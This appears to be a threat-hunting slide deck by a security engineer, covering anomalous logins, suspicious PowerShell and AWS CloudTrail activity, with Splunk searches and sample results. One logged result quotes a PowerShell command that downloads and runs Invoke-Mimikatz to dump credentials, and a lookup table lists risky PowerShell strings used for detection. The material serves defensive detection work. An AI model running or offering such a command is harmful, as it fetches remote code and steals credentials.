

# Supercharge your SOC with 3 Killer Threat Hunting Use Cases

Patrick Keenan, Principal Security Engineer



# INTRODUCTIONS

PK

Patrick Keenan  
Senior Security Engineer  
[patrick.keenan@guidepointsecurity.com](mailto:patrick.keenan@guidepointsecurity.com)

# THREAT HUNTING - OVERVIEW

## Obligatory Definition Slide

**Definition #1** - Proactively and iteratively detecting, isolating, and neutralizing advanced threats that evade automated security solutions.

**Definition #2** - Threat hunting is the practice of proactively searching for cyber threats that are lurking undetected in a network.

**Definition #3** - reviewing your IT environment for signs of malicious activity and operational deficiencies

# WHAT YOU THOUGHT YOU WOULD BE DOING



# WHAT YOU ARE ACTUALLY DOING



# THREAT HUNTING - OVERVIEW

Threat Hunting is ...

- Proactive
- Hypothesis driven, assumes you are already compromised
- Useful to foster collaboration and opportunities for mentoring
- Begins where automation ends

Threat Hunting is not ...

- Reactive
- Reviewing alerts in the SIEM

# THREAT HUNTING IS A CONTINUOUS PROCESS



# THREAT HUNTING IN PRACTICE

## Objectives

- Determine what is normal
- Identify what is new
- Detect indicators of possible malicious activity

## Techniques

- Stack Counting
- Enrichment
- Searching
- Risk Modeling

# Abnormal Login Hunting



# AUTHENTICATION HUNTING

## Hypothesis

- User Accounts have been compromised through a data breach, spearfishing attack, etc. Attackers are using these credentials to exfiltrate data

# AUTHENTICATION HUNTING

## Execution

- Key Features
  - Speed Violation
  - New Geo Location
  - New ASN for User/New ASN for the organization
  - Geo Fence Violation
  - Listed on Threat Intelligence

# RISK MODELING – ACCOUNT TAKEOVER

Feature	Description
Blacklisted Country	Adds threat points for Countries that the users should not log in from
Region Anomaly	User logs in from a region not seen in the last thirty days.
Country Anomaly	User logs in from a Country not seen in the last thirty days.
City Anomaly	User logs in from a City not seen in the last thirty days.
Source Anomaly	User logs in from a Source not seen in the last thirty days.
Org ASN Anomaly	User logs in from an ASN not seen in the last thirty days for any user in the org.
User ASN Anomaly	User logs in from an ASN not seen in the last thirty days for that user
Geofence Violation	A login that originates from a distance greater than 1,000 miles from the user's most common login location.
Speed Violation	User is traveling at a speed greater than 550

# RISK MODELING – RISKY COUNTRIES

index=summary blacklisted\_src\_CountryViolation>0 country\_anomaly>0  
| eval user="user@test.com"  
| table \_time user src\_Country

Last 7 days 

✓ 1,703 events (9/17/19 8:00:00.000 PM to 9/24/19 8:02:30.000 PM) No Event Sampling ▾ Job ▾  Smart Mode ▾

Events Patterns Statistics (1,703) Visualization

20 Per Page ▾  Format Preview ▾  1 2 3 4 5 6 7 8 ... Next >

_time	user	src_Country
2019-09-24 15:31:16	user@test.com	Turkey
2019-09-24 15:44:09	user@test.com	Turkey
2019-09-24 13:53:48	user@test.com	Nigeria
2019-09-24 14:07:31	user@test.com	Nigeria
2019-09-24 14:44:50	user@test.com	South Africa
2019-09-24 15:20:39	user@test.com	Russia
2019-09-24 15:20:32	user@test.com	Russia
2019-09-24 15:18:44	user@test.com	Russia

# RISK MODELING – SPEED VIOLATIONS FROM RISKY IP'S

index=summary threatViolation>0 speedViolation="12.5"  
| eval user="user@test.com"  
| table \_time user src\_Country Prev\_Country confidence Speed

Last 90 days 

✓ 8 events (6/26/19 12:00:00.000 AM to 9/24/19 8:07:50.000 PM) No Event Sampling Job II ⌂ ⌄ ⌅ ⌆ Smart Mode

Events Patterns Statistics (8) Visualization

20 Per Page Format Preview

_time	user	src_Country	Prev_Country	confidence	Speed
2019-09-13 11:13:04	user@test.com	Senegal	Egypt	99	2301.02
2019-09-16 01:21:06	user@test.com	Indonesia	China	94	1314.26
2019-09-14 04:43:49	user@test.com	Indonesia	China	95	1548.50
2019-09-12 23:15:54	user@test.com	Indonesia	Singapore	95	7216.97
2019-09-10 02:56:11	user@test.com	Vietnam	India	94	3339.62
2019-09-10 02:56:11	user@test.com	Vietnam	Hong Kong	94	243252.00
2019-09-08 11:32:24	user@test.com	Indonesia	India	92	1279.07
2019-09-04 03:25:12	user@test.com	India	Malaysia	92	982.69

# RISK MODELING – PUTTING IT ALL TOGETHER

The screenshot shows a log analysis interface with the following details:

- Search Query:** index=summary threat\_score>35  
| eval user="user@test.com"  
| table \_time user threat\_score src\_Country Speed
- Time Range:** Last 24 hours
- Event Count:** 7 events (9/23/19 8:00:00.000 PM to 9/24/19 8:11:09.000 PM)
- Sampling:** No Event Sampling
- Mode:** Smart Mode
- Statistics Tab:** Selected (7 results)
- Table Headers:** \_time, user, threat\_score, src\_Country, Speed
- Table Data:** (7 rows)

_time	user	threat_score	src_Country	Speed
2019-09-24 13:21:13	user@test.com	43	Kazakhstan	6104.01
2019-09-24 12:57:54	user@test.com	45	Russia	4519656.00
2019-09-24 12:00:45	user@test.com	45	China	583.12
2019-09-23 23:24:21	user@test.com	45	China	27354.41
2019-09-23 22:07:49	user@test.com	45	China	5950.71
2019-09-24 07:09:40	user@test.com	45	China	2278.32
2019-09-24 06:31:09	user@test.com	45	China	12879198.00

# Malicious Powershell Hunting

Subtitle



# POWERSHELL HUNTING

## Hypothesis

- Attackers are “living off the land” by leveraging Powershell to perform malicious activity such as download malicious code, move laterally, etc.

# POWERSHELL HUNTING

## Execution

- Key Features
  - Abnormal Parent Process
  - Communication to external destination
  - Encrypted Commands
  - Remoting Commands
  - Connections to the Web/Downloading
  - Code Injection

# SEARCHING – ENCODED POWERSHELL COMMANDS

index=wineventlog process\_exec="powershell.exe" CommandLine==\*-enc\*  
| table \_time user host CommandLine

Last 24 hours 

✓ 1 event (9/23/19 10:00:00.000 PM to 9/24/19 10:45:47.000 PM) No Event Sampling ▾

Job ▾  Smart Mode ▾

Events Patterns Statistics (1) Visualization

20 Per Page ▾  Format Preview ▾

_time	user	host	CommandLine
2019-09-24 22:43:43	GPSAD\patrick.keenan	GPS-DC	powershell -encoded cABpAG4AZwAgAGcAbwBvAGcAbABlAC4AYwBvAG0A

# POWERSHELL COMMAND LINE ENRICHMENT

Process	Risk
*Net.WebClient*	Web Connect
*-EncodedCommand*	Encoded Execution
*invoke-command*	PS Remoting
*DownloadString*	Web Download
*-exec bypass*	Execution Policy Bypass

# SEARCHING/ENRICHMENT – NOTABLE POWERSHELL COMMANDS

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"  
| lookup T1086\_powershell\_strings process OUTPUT powershell\_risk\_reason  
| where isnotnull(powershell\_risk\_reason)  
| table \_time user host CommandLine

Last 24 hours 

✓ 3 events (9/23/19 11:00:00.000 PM to 9/24/19 11:03:17.000 PM) No Event Sampling ▾ Job ▾ II ■ ▶ ⏪ ⏩ ⏴ Smart Mode ▾

Events Patterns Statistics (3) Visualization

20 Per Page ▾ Format Preview ▾

_time ▾	user ▾	host ▾	CommandLine ▾
2019-09-24 22:43:43	GPSAD\patrick.keenan	GPS-DC	powershell -encoded cABpAG4AZwAgAGcAbwBvAGcAbABlAC4AYwBvAG0A
2019-09-24 22:35:29	GPSAD\patrick.keenan	GPS-DC	powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke- Mimikatz -DumpCreds"
2019-09-23 23:59:53	GPSAD\patrick.keenan	GPS-DC	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted "Import-Module "C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Ec2Launch.psd1"; Set-Wallpaper"

# Cloud API Calls



# CLOUD HUNTING

## Hypothesis

- A Cloud Workload with an overly permissive IAM role has been compromised and is being used by attackers to perform data exfiltration, spin up new EC2 Instances, create new IAM roles, etc.

# CLOUD API CALLS HUNTING

## Execution

- Key Features
  - Rare API Calls
  - Abnormal Amount of unique API Calls
  - API Calls to new Cloud Service
  - Rare/Critical Guard Duty Findings

# SEARCHING – AWS GUARD DUTY

index=aws (category=UnauthorizedAccess:IAMUser/ConsoleLogin OR category=UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration OR category=UnauthorizedAccess:EC2/RDPBruteForce OR category=UnauthorizedAccess:EC2/SSHBruteForce)  
| table \_time severity action category signature

Last 30 days 

✓ 4 events (8/25/19 12:00:00.000 AM to 9/24/19 11:29:22.000 PM) No Event Sampling ▾ Job ▾ II ■ ↗ ↘ ⌂ ⌄ Smart Mode ▾

Events Patterns Statistics (4) Visualization

20 Per Page ▾ Format Preview ▾

_time	severity	action	category	signature
2019-09-18 20:11:03.925	critical	allowed	UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration	Credentials for instance role GeneratedFindingUserName used from external IP address.
2019-09-18 20:11:03.802	low	allowed	UnauthorizedAccess:EC2/RDPBruteForce	198.51.100.0 is performing RDP brute force attacks against i-99999999.
2019-09-18 20:11:14.146	low	allowed	UnauthorizedAccess:EC2/SSHBruteForce	198.51.100.0 is performing SSH brute force attacks against i-99999999.
2019-09-18 20:11:10.093	medium	allowed	UnauthorizedAccess:IAMUser/ConsoleLogin	Unusual console login was seen for principal GeneratedFindingUserName.

# STACK COUNTING – AWS GUARD DUTY SIGNATURES

index=aws sourcetype=aws:cloudwatch:guardduty  
| stats count by category

Last 30 days ▾ 

✓ 75 events (8/24/19 12:00:00.000 AM to 9/23/19 10:58:35.000 PM) No Event Sampling ▾ Job ▾  Smart Mode ▾

Events Patterns Statistics (53) Visualization

20 Per Page ▾  Preview ▾  1 2 3 

category	count
Recon:EC2/PortProbeUnprotectedPort	23
Backdoor:EC2/C&CActivity.B!DNS	1
Backdoor:EC2/DenialOfService.Dns	1
Backdoor:EC2/DenialOfService.Tcp	1
Backdoor:EC2/DenialOfService.Udp	1
Backdoor:EC2/DenialOfService.UdpOnTcpPorts	1

# SEARCHING – UNAUTHORIZED API CALLS

index=aws sourcetype="aws:cloudtrail" errorCode=AccessDenied OR errorCode="UnauthorizedOperation"  
| table \_time eventName errorMessage src userAgent

Last 7 days ▾ 

✓ 294 events (9/16/19 11:00:00.000 PM to 9/23/19 11:20:28.000 PM) No Event Sampling ▾ Job ▾ II ⏪ ⏴ ⏵ ⏴ ⏵ Smart Mode ▾

Events Patterns Statistics (294) Visualization

20 Per Page ▾ Format Preview ▾ < Prev 1 2 3 4 5 6 7 8 ... Next >

_time	eventName	errorMessage	src	userAgent
2019-09-23 15:42:22	GetFunction20150331v2	User: arn:aws:sts::743445550503:assumed-role/netskope/AssumeRoleSession1 is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:us-east-2:743445550503:function:palotransitgwdemo-InitialiseFwLambda-19RDHIJM0UQ6E	8.36.116.16	Boto3/1.9.226 Python/2.7.12 Linux/4.4.0-142-generic Botocore/1.12.226
2019-09-23 15:42:22	GetFunction20150331v2	User: arn:aws:sts::743445550503:assumed-role/netskope/AssumeRoleSession1 is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:us-east-2:743445550503:function:palotransitgwdemo-InitialiseFwLambda-19RDHIJM0UQ6E	8.36.116.16	Boto3/1.9.226 Python/2.7.12 Linux/4.4.0-142-generic Botocore/1.12.226
2019-09-23 15:37:33	GetFunction20150331v2	User: arn:aws:sts::743445550503:assumed-role/netskope/AssumeRoleSession1 is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:us-east-2:743445550503:function:palotransitgwdemo-InitialiseFwLambda-19RDHIJM0UQ6E	8.36.116.16	Boto3/1.9.226 Python/2.7.12 Linux/4.4.0-142-generic Botocore/1.12.226

# STACK COUNTING – API CALLS

index=aws sourcetype="aws:clouptrail" userName=mark.ferro  
| stats count by userName eventName

Last 24 hours 

✓ 1,088 events (Partial results for 9/17/19 8:00:00.000 PM to 9/18/19 8:22:27.000 PM) No Event Sampling ▾

Job ▾ || ⌂ ⌂ ⌂ ⌂ Smart Mode ▾

Events Patterns Statistics (27) Visualization

20 Per Page ▾ Format Preview ▾ < Prev 1 2 Next >

userName	eventName	count
mark.ferro	GetRole	204
mark.ferro	ListAttachedRolePolicies	204
mark.ferro	ListInstanceProfilesForRole	204
mark.ferro	ListRolePolicies	204
mark.ferro	ListInventoryEntries	124
mark.ferro	DescribeLoadBalancers	16

# STACK COUNTING – UNIQUE API CALLS OVER TIME

New Search Save As ▾ Close

```
index=aws sourcetype="aws:clouptrail"
| stats dc(eventName) AS unique_api_calls by userName
| appendcols
  [ search index=aws sourcetype="aws:clouptrail" earliest=-48h latest=-24h
  | stats dc(eventName) AS prev_day_api_calls by userName]
```

Last 24 hours ▼ 🔍

✓ 519,418 events (9/23/19 11:00:00.000 PM to 9/24/19 11:30:37.000 PM) No Event Sampling ▾ Job ▾ II ■ ↗ 🖨️ ⬇️ 💡 Smart Mode ▾

Events Patterns **Statistics (33)** Visualization

20 Per Page ▾ ✓ Format Preview ▾ < Prev 1 2 Next >

userName	unique_api_calls	prev_day_api_calls
Patrick.Keenan	1	134
Dome9-Connect	115	115
lambda_basic_execution	2	90
Full_Admin	137	58
elastica-clouptrail-role	1	45

# STACK COUNTING/ENRICHMENT – API CATEGORIES

The screenshot shows a Logstash search interface with the following configuration:

```
index=aws sourcetype=aws:cloudtrail userName=Full_Admin  
| lookup aws_event_enrichment.csv eventName OUTPUT securityEventCategory  
| stats count by securityEventCategory
```

Results summary:

- ✓ 8,236 events (9/23/19 11:00:00.000 PM to 9/24/19 11:16:31.000 PM)
- No Event Sampling

Job controls and mode:

- Job ▾
- II
- Smart Mode ▾

View options:

- Events
- Patterns
- Statistics (5)** (selected)
- Visualization

Format and preview settings:

- 20 Per Page ▾
- Format
- Preview ▾

securityEventCategory	count
EC2InstanceActivity	36
SecurityGroupActivity	26
VPCChangeActivity	20
GatewayActivity	12
IAMPolicyActivity	4

# USER ACTIONS – THE KITCHEN SINK

index=aws sourcetype=aws:cloudtrail  
| lookup aws\_event\_enrichment.csv eventName **OUTPUT** securityEventCategory  
| stats dc(securityEventCategory) **AS** unique\_categories **by** userName  
| appendcols  
[ search index=aws sourcetype=aws:cloudtrail earliest=-48h latest=-24h  
| lookup aws\_event\_enrichment.csv eventName **OUTPUT** securityEventCategory  
| stats dc(securityEventCategory) **AS** prev\_day\_unique\_categories **by** userName ]

Last 24 hours 

✓ 514,476 events (9/23/19 11:00:00.000 PM to 9/24/19 11:19:34.000 PM) No Event Sampling ▾

Job ▾ II ⌂ ↗ ↓ Smart Mode ▾

Events Patterns Statistics (33) Visualization

20 Per Page ▾ Format Preview ▾ < Prev 1 2 Next >

userName	unique_categories	prev_day_unique_categories
Full_Admin	5	0
Chris.Rice	1	1
Nathan.Wilcox	1	1
Patrick.Keenan	1	0

# Thank You

Patrick Keenan, GuidePoint Security  
[GuidePointSecurity.com](http://GuidePointSecurity.com)

